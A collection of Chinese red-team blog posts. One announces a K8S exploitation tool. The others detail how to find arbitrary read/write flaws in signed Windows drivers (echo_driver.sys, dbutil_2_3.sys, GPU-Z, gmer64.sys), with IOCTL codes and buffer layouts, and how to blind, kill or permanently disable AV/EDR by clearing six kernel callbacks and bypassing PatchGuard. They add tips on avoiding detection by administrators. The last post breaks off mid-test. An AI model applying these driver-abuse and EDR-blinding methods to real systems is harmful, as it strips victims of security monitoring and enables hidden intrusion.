MYZXCG

集权利用工具之K8S

myzx.xcg@gmail.com (myzxcg) — Fri, 28 Feb 2025 15:46:09 +0800

一直是想写一个图形化的集权利用工具，包含对 K8S 、域环境、VCenter 、运管平台（尤其是针对私有云）等这些个在红队测试中常遇到环境的利用。我希望工具能达到的一个效果是尽量一键化，尽量让完整的漏洞检测以及后利用操作能在这个工具上完成，以此来提升红队效率。

年前就写完了这个 K8S 模块的利用，但感觉后面短时间内可能没有时间继续写后面几个模块，所以就想先发布出来。至于名字嘛，想名字最难了，就随便取了一个叫NoNameExploit。

工具地址：https://github.com/myzxcg/NoNameExploit

这个项目是基于 python 和 PyQt5 的图形化库进行的开发，写完的就一个 K8S 利用模块，基本上长这个样子：

详细的模块使用方法可以参考 github 上的 README。目前来说肯定有些不足之处，请感兴趣的伙伴多多指正。

至于后面规划的几个利用模块，只能空下来再写。

几种挖掘任意读写驱动的方法

myzx.xcg@gmail.com (myzxcg) — Wed, 13 Mar 2024 10:58:06 +0800

本文以3个比较典型驱动为例，分享几种任意读写驱动的漏洞挖掘思路和一些tricks。

注： RealBlindingEDR 工具新增两款驱动利用，支持Win7 - Win11最新版；其次新增clear参数，可一键永久移除杀软。

详情可见项目地址：https://github.com/myzxcg/RealBlindingEDR。

内核中跨进程内存读取

CR3读写

利用CR3寄存器可以实现强制读写特定进程的内存地址。

CR3是一种控制寄存器，它是CPU中的一个专用寄存器，用于存储当前进程的页目录表的物理地址。为了实现进程间的隔离和保护，操作系统会为每个进程分配独立的地址空间。当进程切换时，操作系统会修改CR3寄存器的值，从而让CPU使用新的页目录表来完成虚拟地址的翻译。

MDL读写

除了通过修改 CR0 寄存器，关闭内存写保护属性，然后再写入内存的方式来修改指定进程内存外，还可以通过MDL来修改指定进程内存。

MDL(内存描述符表)结构体是Windows内核中专门用于描述物理内存的数据结构，可以通过MDL描述一块内存区域，在MDL中包含了该内存区域的起始地址、拥有者进程、字节数量、标记等信息。可以通过MDL 突破内存读写的限制。

MDL 是用来建立一块虚拟地址空间与物理页面之间的映射。当要对一块内核内存进行修改的时候，先为这块内存创建 MDL，那么就会建立一块新的虚拟内存空间，与将要修改内存对应的物理空间相映射。也就是说，同一块物理空间，映射了两块不同的虚拟内存地址。可以通过这两个虚拟内存地址，来操作这块物理内存，这便是 MDL 修改内存的实现思路。

其次，还可以通过ZwOpenSection、ZwMapViewOfSection和\Device\PhysicalMemory 节对象来映射物理地址到虚拟地址，从而实现对指定内存的读写。

内存拷贝实现读写

MmCopyVirtualMemory

MmCopyVirtualMemory （未记录API）这个内核API函数可以在用户空间和内核空间之间实现内存数据的拷贝。

1
2
3

SIZE_T Result;
MmCopyVirtualMemory(SourceProcess, SourceAddress, TargetProcess, TargetAddress, Size, KernelMode, &Result))
//KernelMode=0

memmove

`1`	`void memmove(void dest,const void *src,size_t count);`

直接I/O和缓冲I/O的缓冲区获取方式

对于IRP_MJ_DEVICE_CONTROL，缓冲区访问方式是基于IOCTL的。从IOCTL 中可以看出这是直接I/O 还是缓冲I/O。注意：IRP_MJ_DEVICE_CONTROL 不受DeviceObject->Flags的直接/缓冲 IO设置影响，这个Flags设置的IO只影响IRP_MJ_READ、IRP_MJ_WRITE。此网站可以解析IOCTL。

更多详细内容可以参考：《windows 内核编程》的7.5章节。

echo_driver.sys

首先直接定位到驱动的IRP_MJ_DEVICE_CONTROL(14)分发例程函数位置：

a2->Tail.Overlay.CurrentStackLocation 其实就是IoGetCurrentIrpStackLocation()函数的实现。
正常是通过stack->Parameters.DeviceIoControl.IoControlCode 来获取IOCTL值的，反编译这里是通过CurrentStackLocation->Parameters.Read.ByteOffset.LowPart 获取，姑且当做是同一个意思。
a2->AssociatedIrp.MasterIrp 其实是a2->AssociatedIrp.SystemBuffer （输入缓冲区的地址），因为它俩在一个union 中，共享一个偏移量。
MasterIrp->Type 其实就是SystemBuffer 这个缓冲区（0x9E6A0594 代表这是一个缓冲IO），因为这里Type它的偏移其实是0。MasterIrp->MdlAddress 这里的MdlAddress偏移是8，是一个长度（从sub_1400012BC函数内部看出来的），这个由客户端程序构造。
dword_14000410C 是一个全局变量（在.data段），它的值是当前进程的PID，在sub_1400012BC函数中赋予。所以，我们要想走到下面的流程，必须要先完成0x9E6A0594 这个IOCTL的操作。

接下来看下面几个IOCTL对应的代码逻辑：

0xE6224248 这个IOCTL代码下面，可以见到是根据PID获取句柄，然后添加到I/O缓冲区后面。此部分逻辑和内存读取无关。
0x60A26124 这块的代码逻辑，首先是从I/O缓冲区中获取进程句柄。然后利用ObReferenceObjectByHandle 函数获取此句柄对应的EPROCESS结构，最后调用sub_140001B80函数。在这个函数中，发现了MmCopyVirtualMemory 虚拟内存拷贝函数。

接下来就是弄清楚，这个5个参数是如何组织的：

这里rdi寄存器中保存的是I/O缓冲区的地址。结合上两张图I/O缓冲区中的数据可以构成如下结构：

struct{
HANDLE ProcessHander;
INT64 SourceAddr;
INT64 TargetAddr;
SIZE_T Size;
SIZE_T Result;
}

注意这里MmCopyVirtualMemory 函数的SourceProcess和TargetProcess都一样为当前进程的EPROCESS。所以这里SourceAddr和TargetAddr互换就可以实现读写效果。

dbutil_2_3.sys

还是首先定位到IRP_MJ_DEVICE_CONTROL(14)的分发例程函数：我们首先还是关注，I/O缓冲区分配给了哪个变量。

v3 是一个二级指针，它的值是I/O缓冲区的地址。之后的*v3就代表这个IO缓冲区。
因为_IO_STACK_LOCATION结构的Parameters是一个巨大的各种结构的联合体。这里根据实际情况，CurrentStackLocation->Parameters.Create.Options 其实是CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength ，也就是输入缓冲区的大小赋值给了Options变量。然后将这个Options又保存在了(v3+2)这个地址中。

而CurrentStackLocation->Parameters.Read.Length 实际上指向的是CurrentStackLocation->Parameters.DeviceIoControl.OutputBufferLength 。

这里说一下二级指针在这里的含义：执行图中的1指令后，v3代表这个IO缓冲区，且它是一个INT64类型（8位）。**v3 就表示结构体中的pad1值，(v3+1)就是结构体Address的值（因为v3是一个INT64，+1就是一个INT64*的大小，也就是8位）。v3保存的是一个地址，这个地址就是这个IO缓冲区的地址（如下图）。*((_DWORD *)v3 + 2) ，所以这里地址+2，意思是v3中保存的地址+2，其实是+8字节（因为强转了DWORD）。

接下来直接看调用memmove的函数

a1 就是外面的v3，直接传进来的。只要调用这个函数前，指定了相应的IOCTL，a2的值就为1。
这里看到v3就是获取I/O缓冲区的长度。这是在调用函数前设置的，前面有分析。
v11就是获取I/O缓冲区的第一个8字节。v12 就是获取I/O缓冲区的第二个8字节，v13同理。注意这里的v6，它是获取a1的值+16字节的值，但是前面只赋值了a1+8字节的值为缓冲区的长度，所以不会走到后面的if语句里面去。
v8、v9就好理解了。例如可以将v12设置为要读取的目标地址，v13设置为0。就会将读取的数据存入到I/O缓冲区的第四个8字节（v5+3），这里的+3是24字节。因为v5的基本大小是INT64*。

以上就完成了内存读取的过程。同理，当a2的值为0的时候，就是内存写入的操作逻辑。

GPU-Z

此驱动来自Antivirus_R3_bypass_demo项目

直接看IRP_MJ_DEVICE_CONTROL(14)的分发例程函数。可以看到这里有三个参数，并且v3、v4 直接用的偏移，也并没有解析成结构体。由于驱动中的分发例程都是两个参数：目标设备对象和一个I/O请求包（IRP），所以这里将a3参数删除掉，然后修改a2为IRP* 结构。如下图：进入IOCTL为0x80006490的分支中，发现有一个memmove函数。但是这里注意仔细看memmove(v7, SystemBuffer + 81, SystemBuffer[16]); 这行代码。v7 的值可控，可以自定义地址，也就是要写的目的地址可控了。但是第二个参数即源地址，只能是相对于SystemBuffer 偏移81位的地址。注意这并不是SystemBuffer+81 地址上的值（取值应该是*(SystemBuffer+81)或SystemBuffer[81]）。所以这里是一个任意地址写，但是不能任意地址读。

再继续看IOCTL为0x8000645C 的分支：根据上图分析，客户端程序传输的数据（SystemBuffer）第一个8字节是一个物理地址，第二个4字节是大小。通过MmMapIoSpace 函数将其转换为虚拟地址后，通过MDL又创建了一个映射到此物理地址的虚拟地址，使得这个物理地址可以被用户态进程访问修改，这就实现了对任意物理地址的读写。（MmMapLockedPagesSpecifyCache 第二个参数为1，即UserMode）参考

注：这里返回的虚拟地址即v13，只有才win7等版本才能进行读写，win10+没有权限读写这个地址。所以这个驱动只适用于win7。

在上面这个IOCTL中没有看到对分配内存的释放，这个处理其实是写在IOCLT为0x80006460的分支中：

所以调用完0x8000645C后，还需要调用0x80006460对内存进行释放。

当然，这里需要传入物理地址，所以需要将要修改和查询的内核虚拟地址转换为物理地址，再传给对应的IOCTL。

64位虚拟地址到物理地址的转化

这里简单分析64位虚拟地址转物理地址的过程：

一些概念：

在x64体系中只实现了48位的虚拟地址，高16位被用作符号扩展，这高16位要么全是0，要么全是1。
x64体系中普通页大小仍为4KB，页表从x86的2级变成了4级。每级页表寻址长度变成9位，所以每级页表最多512项。

PML4T(Page Map Level4 Table)及表内的PML4E结构，每个表为4K，内含512个PML4E结构，每个8字
PDPT (Page Directory Pointer Table)及表内的PDPTE结构，每个表4K，内含512个PDPTE结构，每个8字节
PDT (Page Directory Table) 及表内的PDE结构，每个表4K，内含512个PDE结构，每个8字
PT(Page Table)及表内额PTE结构，每个表4K，内含512个PTE结构，每个8字节。

X64，准确的说应该是IA32e paging 模型提供了三种页转换模型，三种模型都是物理页帧的基地址加上页偏移得到物理地址，不同只是在于页帧的大小划分不同：

4K页面：使用PML4T，PDPT，PDT和PT 四级页转化表结构；
2M页面：使用PML4T，PDPT 和PDT三级页转化表结构；
1G 页面：使用PML4T和PDPT二级页表转化结构。

在个人计算机上，普遍都是4K页面。

这里以0xcc7096f784 这个虚拟地址为例，简单说一下转换到物理地址的过程：

按照4个9位和一个12位的划分：

我们先从CR3寄存器中读取到页目录表的物理基地址：0xa47ef000

查看此处物理地址：由于PML4 的值为1，所以这里的索引就为1。PDP 的基地址就在0x0a00000247e03867` 里面。这里的规则是，12～35位为下一基地址的高24位，至于更高的36~51为必须为0，最后的低12位补0；

所以得出PDP的物理基地址为0x247e03000 ，由于PDP的值为0x131，所以乘以8即为0x988，此偏移代表PTS物理基地址所在位置，以此循环往复找到最终的对应的物理地址。（当然根据页帧划分不同，中间逻辑也有些不同）

更详细内容，推荐阅读：X64下的虚拟地址到物理地址的转换

CR3值的获取

从上面看出，需要首先知道最关键的CR3的值，但是CR3的值从用户态是无法直接获取的。其次，在整个利用过程中，基本是对内核的系统虚拟地址进行读写操作。由于所有进程的内核系统虚拟地址都是一样的。所以这里只要能获取到任意一个进程的CR3就可以，不一定非要是某个进程的。

方法一：

这个方法其实是获取System进程的CR3 值。通过uefi启动的系统，0x1000-0x100000的物理地址存了一个结构体PROCESSOR_START_BLOCK ，这个结构体中的一个值是_KPROCESSOR_STATE 结构，而这个结构中就有system进程的CR3值。所以简单来说就是通过遍历0x1000-0x100000 地址范围，找到PROCESSOR_START_BLOCK结构，再根据偏移，定位到CR3。

可参考：ProcExp的利用

方法二：

还有一种方法，也就是暴力破解。通过遍历一个范围内的数来猜测当前进程的CR3值，然后把这个值代入到上面的计算流程中，看通过一个指定的虚拟地址转换到物理地址后读出来的数据是否和这个虚拟地址保存的数据相同。

那这里要遍历的CR3地址范围该是多少呢？上图可以看到，CR3物理地址最低值可以取0x100000。最高值我们通过前面知道不会超过0xffffff000 。所以这就是需要遍历的范围。同样根据前面介绍，PML4表的大小为4K，所以递增是4k。

END...

AV/EDR 完全致盲 - 清除6大内核回调实现

myzx.xcg@gmail.com (myzxcg) — Sun, 29 Oct 2023 14:52:28 +0800

本文于 2023.10.29日首发于微信公众号：北秋风清，欢迎关注。 AV/EDR 完全致盲 - 清除6大内核回调实现

本文将介绍如何利用带签名驱动实现完全致盲、或杀死、或永久关闭 AV/EDR。

承接上文，这次继续利用驱动的任意地址写 Bypass PatchGuard 实现：清除注册表通知回调、清除文件系统微驱动过滤器回调、清除对象通知回调、清除线程通知回调、清除Image 加载通知回调、清除进程通知回调，并开源实现代码及工具。

Github 项目地址：RealBlindingEDR（含演示视频）

删除内核回调后，最终可实现以下3点效果：

致盲 AV/EDR

在保持AV/EDR 进程正常运行的情况下，使其无法监控任何进程/线程活动、任何文件落地、注册表删改、高权限句柄获取等众多敏感行为。（不直接Kill 是为了保证EDR 与总控保持通信，避免掉线导致被发现）
永久关闭或禁用 AV/EDR

由于删除了注册表和微过滤器内核通知回调，可以修改注册表或直接删除AV/EDR 文件的方式永久关闭AV/EDR（即使系统重启）。
Kill AV/EDR 进程

由于删除了对象句柄通知回调，现在能够以普通管理员用户权限结束AV/EDR 进程。

EDR 常用的回调注册函数

在白驱动 Kill AV/EDR（上）一文中说到目前EDR 对各项内容的拦截监控都是依赖内核回调机制，下面先说明下EDR 通常会用到的回调注册函数以及清除相应的回调有什么效果。

ObRegisterCallbacks()

驱动程序可利用此函数来注册回调函数，可以让驱动在试图打开或者复制特定对象类型的句柄时从内核得到实时通知。删除此回调函数，可以致盲EDR 对获取对象句柄的监控。例如可以拿到EDR 的进程完整句柄，从而可以调试/分析或Kill EDR 进程，屏蔽EDR 对其3环进程的保护。
CmRegisterCallback(Ex)

此注册函数可以让驱动在访问、修改注册表时从内核得到实时通知。如果能删除此回调，可以致盲EDR 对注册表的监控，例如添加正常情况会被拦截的注册表启动项，修改EDR 注册表服务配置从而永久禁用EDR。但是此回调地址受PatchGuard 保护，修改其回调函数地址会触发BSOD，后面会说明如何绕过。
MiniFilter微过滤器驱动

通过注册文件系统微过滤器驱动程序，可以在创建/修改/删除文件时得到驱动程序得到通知。如果能删除此回调，可以使EDR 无法监控恶意文件落地，并且可以禁用EDR 对其自身文件的保护，从而删除EDR 文件来永久禁用EDR。但是某些回调地址也受PatchGuard 保护，修改某些回调地址时会触发BSOD，后面会说明如何绕过。
PsSetCreateProcessNotifyRoutine(Ex)

此注册函数可以让驱动在进程被创建或销毁时都能从内核得到实时通知。通过删除此回调函数，可以使致盲EDR 对进程活动的监控，例如使其无法监控进程启动、分析木马进程链关系。
PsSetCreateThreadNotifyRoutine(Ex)

此注册函数可以让驱动在线程被创建或销毁时都能从内核得到实时通知。删除此回调函数，可以致盲EDR 对线程活动的监控，例如使其无法对远程线程注入进行监控。
PsSetLoadImageNotifyRoutine(Ex)

此注册函数可以让驱动在任何Image（EXE、DLL、驱动）文件被加载时都能从内核得到实时通知。删除此回调函数，可以致盲EDR 对EXE、DLL、驱动执行加载的监控。

当然还有其他回调，例如网络过滤器驱动用于监控扫描行为（挖个坑，这个后面再开文章分析）。这次主要分析以上6个回调注册函数的回调清除，达到前面所说的效果。

Remove ObRegisterCallbacks

之前的文章中介绍了通过ObRegisterCallbacks()注册回调函数，实现对指定进程句柄进行降权，删除了PROCESS_TERMINATE 权限从而实现对该进程的保护。在注册回调函数时是通过OB_OPERATION_REGISTRATION 结构中指定回调函数地址，以及注册的对象类型（进程、线程）等其他信息，最终传给ObRegisterCallbacks()函数。

其中注册的对象类型：PsProcessType、PsThreadType 为全局内核变量，它俩是OBJECT_TYPE 结构，如下：

typedef struct _OBJECT_TYPE {
 LIST_ENTRY TypeList;
 UNICODE_STRING Name;
 VOID* DefaultObject; 
 UCHAR Index;
 unsigned __int32 TotalNumberOfObjects;
 unsigned __int32 TotalNumberOfHandles;
 unsigned __int32 HighWaterNumberOfObjects;
 unsigned __int32 HighWaterNumberOfHandles;
 OBJECT_TYPE_INITIALIZER TypeInfo;
 EX_PUSH_LOCK TypeLock;
 unsigned __int32 Key;
 LIST_ENTRY CallbackList; 
}OBJECT_TYPE, *POBJECT_TYPE;

OBJECT_TYPE结构的CallbackList 是一个由CALLBACK_ENTRY_ITEM 结构（未记录）组成的双向链表，其结构如下：

typedef struct _CALLBACK_ENTRY_ITEM {
LIST_ENTRY EntryItemList;
OB_OPERATION Operations;
CALLBACK_ENTRY* CallbackEntry; 
POBJECT_TYPE ObjectType;
POB_PRE_OPERATION_CALLBACK PreOperation;
POB_POST_OPERATION_CALLBACK PostOperation;
__int64 unk;
}CALLBACK_ENTRY_ITEM, *PCALLBACK_ENTRY_ITEM;

从上面的结构体可以明显看到，PreOperation 和 PostOperation 分别指向操作前回调函数地址与操作后回调函数地址。

如上图，Flink 指向的0xffff8c8589597680 地址就是CALLBACK_ENTRY_ITEM 结构的地址。其中PreOperation 的偏移为0x28 ，PostOperation 的偏移为0x30 。后面只需要将PreOperation和PostOperation 指向的地址设置为0即可。

Tips: 上图可以看到CallbackList 的偏移是0xc8 ，但仅对于win10和win11。在win7 下它对应的偏移是0xc0。

那么现在知道了回调函数的位置在哪儿，新的问题是如何通过代码定位PsProcessType和PsThreadType 这两个全局内核变量。

通过IDA 的交叉引用可以找到调用了PsProcessType 和PsThreadType 的函数，并且还这个函数还需要是ntoskrnl.exe 的导出函数，因为这样我们就可以像上篇文章中删除进程回调那样去获取PsProcessType 和PsThreadType 的地址。

通过分析发现NtDuplicateObject()函数中引用了PsProcessType 全局内核变量，而在NtOpenThreadTokenEx() 函数中引用了PsThreadType 全局内核变量。并且这两个函数在win7上也引用了相应的变量，同时也是ntoskrnl.exe 的导出函数。

这样代码逻辑就通了：首先定位PsProcessType 和PsThreadType 全局内核变量地址，根据偏移获得CALLBACK_ENTRY_ITEM 的双向链表结构，遍历此结构将PreOperation 和PostOperation 指向的地址置0。

部分代码截图如下，完整代码在文章首页的Github地址。

实现效果，如下图：

清除回调后，我们现在能以普通管理员用户权限去Kill 某杀软进程了。当然，我们的目的是为了致盲EDR 而不是干掉EDR，这只是删除回调后的的附带效果 — 我们随时能够Kill EDR。之后，杀软无法阻止我们获取任何进程的高权限句柄，也无法监控到我们获取句柄的这个行为。并且配合后面删除线程通知的回调，也能够规避远程线程注入的检测。

Remove CmRegisterCallback

前面说到，如果能清除注册表通知回调，我们对注册表的任何操作，都无法被监控。同时也能够清除EDR 对其服务注册表的保护，从而永久禁用EDR。

话不多说下面来看下如何删除注册表回调以及有哪些坑。

CallbackListHead 是一个双向链表，它是一个CMREG_CALLBACK 结构（未记录），里面包含了注册表通知回调函数的地址。其结构如下：

typedef struct _CMREG_CALLBACK {
    LIST_ENTRY List;
    ULONG Unknown1;
    ULONG Unknown2;
    LARGE_INTEGER Cookie;
    PVOID Unknown3;
    PEX_CALLBACK_FUNCTION Function;
} CMREG_CALLBACK, *PCMREG_CALLBACK;

可以看到Function指向回调函数的地址，其偏移为0x28 。我们可以在CmUnRegisterCallback()这个ntoskrnl.exe导出函数函数中找到CallbackListHead 地址，并且win7 和win 10+ 都有。

这么简单就找到回调函数地址？问题来了，修改回调函数地址直接导致蓝屏 :(

由于这个位置受PatchGard保护，那我们就无法像之前的方法一样去清除回调了。后面也尝试将修改LIST_ENTRY 这个链表地址的值为0，但是依旧蓝屏，这里需要想想怎么Bypass PG。

峰回路转，经过无数次的蓝屏后发现，如果将双向链表的Flink 指向的地址修改为双向链表上已经存在的地址值，那就不会蓝屏，这就有了个思路，直接将第一个CallbackListHead 结构地址（也就是链表头）指向为最后一个CallbackListHead ，这样就能够清除掉中间的EDR注册的链表。

Tips: 在Github里的代码实现是将下面fffff8047e848490 地址值修改为fffff8047e848490 ，一样的效果。

清除注册表回调后，这样就能禁用EDR 对其注册表项的保护。后续可以修改AV/EDR 的服务配置，以及注册表中的启动项。

现在就有权限执行以下命令，可永久关闭某数字杀软，重启后此杀软也不会自动启动。

Tips: 建议仅永久禁用杀毒软件，但EDR 等安全解决方案不建议永久关闭，掉线可能会被管理员发现。

如下图所示：

Remove MiniFilter Callback

EDR 注册了微过滤器驱动程序，能够监控所有落地的文件，并且也能保护其自身或指定的文件不被删除。如果我们能够清除微过滤器的回调，那么这些监控和保护效果自然就消失了。下面来看下EDR 注册的微过滤器驱动程序的回调函数位置。

进入CallBackNodes数组，可以看到回调函数地址：

这里的回调函数地址，某些可以直接置0，但是有些位置的地址置0之后会触发PatchGuard 保护，所以这里不能直接修改回调函数地址。

经分析发现，不去修改他的回调函数地址，而是清空CallbackNodes 数组的话则不会触发蓝屏，成功Bypass PathGuard。接下来的问题就是该如何定位到_FLT_INSTANCE 结构？

还是按照之前的思路，我们先去找一下FLTMGR 中的全局变量。

发现有一个名为FrameList 的_FLT_RESOURCE_LIST_HEAD 结构，看看此结构。

发现里面又包含一个LIST_ENTRY双向链表结构并且里面的值就是Frame 的地址。继续查看此地址中的值：

发现此地址中的值0xffffb1821f4cf018 - 0x8 就是FLTP_FRAME 的值。继续查看此结构内容：

发现Flink 指向的地址减去0x10 就是_FLT_FILTER 的地址。Flink 默认指向的是_FLT_FILTER的PrimaryLink 字段，如下图：

至此，我们成功找到了_FLT_FILTER的地址。

现在，我们应该找一个调用了这个FltGlobals 全局变量的导出函数，那么我们就能以之前的思路来定位到_FLT_FILTER 的地址。

分析发现FltEnumerateFilters 这个FLTMGR.sys 导出函数中就有指向Frame 的地址，如下图：

至此，我们可以完美的用相同思路获取_FLT_FILTER 的地址。但是在代码实现时，有个小坑：获取不能再用loadlibrary 去加载 FLTMGR.sys 来获取句柄计算偏移了，这个函数加载得到的句柄是NULL。后面继续翻MSDN，发现还有个loadlibraryEx这个函数，通过传入DONT_RESOLVE_DLL_REFERENCES ，可以正常加载FLTMGR.sys 模块。

其实上面分析还没完，还有个问题是该怎么通过_FLT_FILTER 定位_FLT_INSTANCE 结构呢？

上面的图是_FLT_FILTER 结构，从名字可以看出这个_FLT_RESOURCE_LIST_HEAD 结构的InstanceList是极有可能保存了_FLT_INSTANCE 结构的地址，继续跟下去。

可以看到_FLT_RESOURCE_LIST_HEAD 结构里的rList指向的是_LIST_ENTRY 双向链表。按理说这个地址应该就是_FLT_INSTANCE 结构的地址，但是仔细看这个地址，发现和我们执行!fltkd.filters 的结果对应不上。

网上查了一下，ReactOS 上的FltUnregisterFilter() 函数处理逻辑给出了答案：（其实和上面PrimaryLink 是一种原因）

_LIST_ENTRY 中的地址还需要通过CONTAINING_RECORD(CurrentEntry, FLT_INSTANCE, FilterLink); 减去FLT_INSTANCE 结构的FilterLink 偏移地址。这下刚好对应了，如下图：

后面就简单了，定位CallbackNodes 数组并清空。

最后的但是，清空数组后你会发现还是没权限删除杀软的文件，并且例如mimikatz 这类的恶意文件一落地还是会被检测到！

难道内核调用微过滤器驱动的回调不是遍历FLT_INSTANCE中的CallbackNodes 数组？就上面的实际情况来看很有可能是，但是这个CallbackNodes 不可能一点用也没有吧？毕竟里面保存了回调函数结构的地址。

一筹莫展之际，看到了一篇文章Part 1: Fs Minifilter Hooking，他通过断点调试发现内核是通过FltpPerformPreCallbacks 函数来调用微过滤器驱动的回调函数的。上面的反编译代码直观的体现了，内核调用的是volume 中的callbacks列表中的回调函数。

分析发现在FLTP_FRAME 结构的字段中保存FLT_VOLUMES 结构的地址链表，通过遍历此链表可以获得所有的FLT_VOLUMES 。接着来看看FLT_VOLUMES 结构。通过名称我们可以轻松的找到存储回调函数结构（_CALLBACK_NODE）的数组。每个数组保存了一个_CALLBACK_NODE 结构的双向链表（这个结构中的地址和FLT_INTANCE 的callbacknodes 数组中保存的地址相同），我们需要遍历并清除这个链表中的包含EDR 回调的_CALLBACK_NODE 结构。

折磨加痛苦的事情又来了，修改Volumes 的callback 数组也会触发PG保护导致蓝屏。想放弃却又不甘心，又经过了无数次蓝屏后，找到了一个办法可以Bypass PG：

比如数组中的其中一个_LIST_ENTRY 双向链表中，Flink 保存了EDR 注册的_CALLBACK_NODE 结构，下一个Flink 也保存了系统自带的例如FileInfo驱动的_CALLBACK_NODE 结构。我们可以将首地址直接修改为FileInfo驱动的_CALLBACK_NODE 结构地址。这样将EDR 的_CALLBACK_NODE 结构从整个双向链表中摘了出来，且这样不会触发蓝屏。

注意：只清除EDR 的地址，不要清除系统本身驱动注册的地址，否则会导致系统崩溃。

实现效果如下，成功删除某数字杀软的主文件：要想永久禁用的话，还需要去把他的服务进程文件给删了：注意：要先Kill 对应的进程，然后在删除。（有的EDR 会不断的重启，所以需要先保证进程被Kill 再删除）

这可比删除注册表直接了当多了:)

Remove Three Callback

这里将进程通知回调、线程通知回调、Image 加载通知回调放在一起说。因为这三部分寻找思路和代码逻辑基本相同。在上一篇文章白驱动 Kill AV/EDR（下）中实现了清除进程通知回调，通过在回调注册函数PsSetCreateProcessNotifyRoutine() 中定位PspCreateProcessNotifyRoutine 数组从而找到了注册了进程回调函数的地址。线程通知回调函数的地址是通过回调注册函数PsSetCreateThreadNotifyRoutine() 中定位PspCreateProcessNotifyRoutine 数组来获取的。

Image 通知回调函数地址是通过回调注册函数PsSetLoadImageNotifyRoutine() 中定位PspLoadImageNotifyRoutine 数组来获取的。

所以代码逻辑基本完全一样，只是寻找的函数不同而已，由于前文已经说过原理了，这里不在多说。剩下的问题是适配win7 和 win10+ ，有些地方略有不同，可以直接参考文章首页的Github地址。

实现效果：

总结

上面实现Kill EDR、永久关闭EDR 的这些功能都是删除回调后自然而然能实现的附带功能。在实战中，真正重要的是在不Kill 它的情况下，通过删除以上回调使其致盲，这才是高度隐匿的最佳手法。

近几年，做红队遇到的内网终端基本都有EDR 等类型的终端安全解决方案，我们在R3 层对抗EDR 行为监测也越来越难，让我们有时候不得不唯快论，拼应急/横向速度。未来终端测的AV /EDR 等安全解决方案的主流对抗将逐步迈入R0 时代。

当然还有一些内核回调的删除，后续在分享给大家吧。

如果有人有兴趣研究源码的话，你可能会像我一样记住这个图片中的表情 :(

欢迎关注我的微信公众号：北秋风清（新的文章会在公众号上第一时间发布）

参考

白驱动 Kill AV/EDR（下）

myzx.xcg@gmail.com (myzxcg) — Sun, 29 Oct 2023 14:08:31 +0800

本文于 2023.10.13日首发于微信公众号：北秋风清，欢迎关注。白驱动 Kill AV/EDR（下）

本文是白驱动Kill AV/EDR 的第二部分，将讨论利用白驱动致盲AV/EDR 的几种方式以及防御检测的方法。

前文中已经提到，EDR 用户态进程受PPL 或驱动保护。除开某些在R3的Kill EDR 骚姿势外，干掉EDR 用户态进程或删除EDR的内核回调还得在驱动层实现。但是在绝大多数的实际环境中，无法直接加载自己写的驱动，因为在遇到的绝大多数Windows中，驱动必须有有效的签名才能进行加载。所以本文将会讨论如何挖掘并利用有签名的驱动来对抗杀软/EDR。

在开始之前，首先介绍驱动开发中的一个概念：DeviceIoControl 分发例程，同时再次说明一下用户态程序和驱动程序的通信逻辑。

大多数的驱动程序都会在DriverEntry()里创建设备对象、设备对象的符号链接、设置分发例程、Unload 例程等。创建设备对象后，每个驱动都需要实现IRP_MJ_CREATE(0x00)和IRP_MJ_CLOSE(0x02) 这两个分发例程函数（可参考上篇文章中的远程线程注入拦截的实现），不然用户态程序在与驱动通信时，无法打开驱动的设备对象句柄。

在用户态，有WriteFile、ReadFile、DeviceIoControl这三个基本函数可以与驱动程序通信。用户态程序向驱动程序发送数据（后面写利用代码需要向白驱动发送数据），大多数情况下用的是DeviceIoControl函数。从驱动程序读取数据一般用ReadFile 函数。

驱动程序为了能接收用户态程序发过来的数据，需要指定IRP_MJ_DEVICE_CONTROL(0x0e) 代码对应的分发例程（函数）。这样当用户态程序调用DeviceIoControl 向驱动程序发送数据时，驱动程序就会调用IRP_MJ_DEVICE_CONTROL(0x0e)指向的例程中去处理请求。

此外DeviceIoControl 函数的第二个参数是要求传入一个控制代码（IOCTL）。不同的IOCTL，标识了驱动程序中在IRP_MJ_DEVICE_CONTROL 分发例程（函数）中执行不同的操作。（后面对驱动程序进行反编译时便能进一步理解了）

利用有Kill 进程功能的驱动

有这种功能的驱动常见于杀软/EDR 的驱动、外设驱动、游戏反作弊的驱动等等。下面以 gmer64.sys 驱动为例，通过IDA 反编译挖掘出这个驱动的利用方法。

Tips: gmer64.sys 驱动在高版本Windows 上加载会提示证书被吊销，同时也被多个杀软标记为恶意驱动。所以此样例仅做学习讨论之用。

首先分析驱动的导入表，找到调用了ZwTerminateProcess() 的函数，它是内核中用于终止进程的函数。（也有其他未导出函数可能可以利用）

如下图，定位到sub_164C0这个函数调用了ZwTerminateProcess()，sub_164C0 函数的参数是进程的PID，这个函数功能简单概括为传入要Kill 的进程PID 然后打开此进程的句柄，然后调用ZwTerminateProcess() 进行Kill。

所以之后需要搞清楚怎么传入这个PID，以及如何才能走到调用sub_164C0函数的流程上来。首先通过IDA 的交叉引用，看看sub_164C0 这个函数的整个调用流。

现在沿着这个调用流，从DriverEntry()这个驱动入口函数开始，从上至下的进行分析调用逻辑。

下面将DriverEntry() → sub_1132C()函数的关键代码贴了出来，下图中的数字序号标识了函数的调用顺序。

可以看到，2号窗口创建了IRP_MJ_DEVICE_CONTROL(0x0e) 分发例程，所以我们后续需要通过DeviceIoControl 向其传输数据。紧接着3号窗口进一步判断当分发例程为14(0x0e)时调用sub_1132C()。4号窗口可以看到，sub_1132C()函数就是根据不同的IOCTL 值调用对应方法进行处理。在0x9876C094这个IOCTL 下调用了sub_164C0() kill 指定进程。

到现在为止，我们知道了通过DeviceIoControl 函数并设置IOCTL为 0x9876C094 ，即可调用驱动去kill 指定进程。但是目前还需要确定这个进程的PID 是什么格式传进去的，以及还有没有什么其他校验。

4号窗口中的a2值就是从IRP中读取到的进程PID，所以直接将ULONG 大小的PID值传给驱动程序即可。

注：上一层函数中发现MasterIrp被传给a2，这是其实是IDA 反编译的问题。由于MasterIrp和SystemBuffer共享同一个偏移量，所以这里其实传输的是SystemBuffer，也就是输入缓冲区的地址。

但是发现调用返回失败，提示参数错误。

在仔细观察一下反编译的代码，发现在switch判断IOCTL 值之前还有一个校验，并且下图返回的标黄值0xC000000D(STATUS_INVALID_PARAMETER)刚好能对应得上报错。

看一下上面的代码逻辑，发现会判断a6 == 0x9876C004 然后初始化一个dword_1C120值，不然就会返回0xC000000D 。所以这里先设置IOCTL 为0x9876C004 发送一次请求，然后再设置IOCTL为 0x9876C094 去kill 进程。

下面来测试一下，首先尝试正常Kill Defender 的进程，如下图，失败。

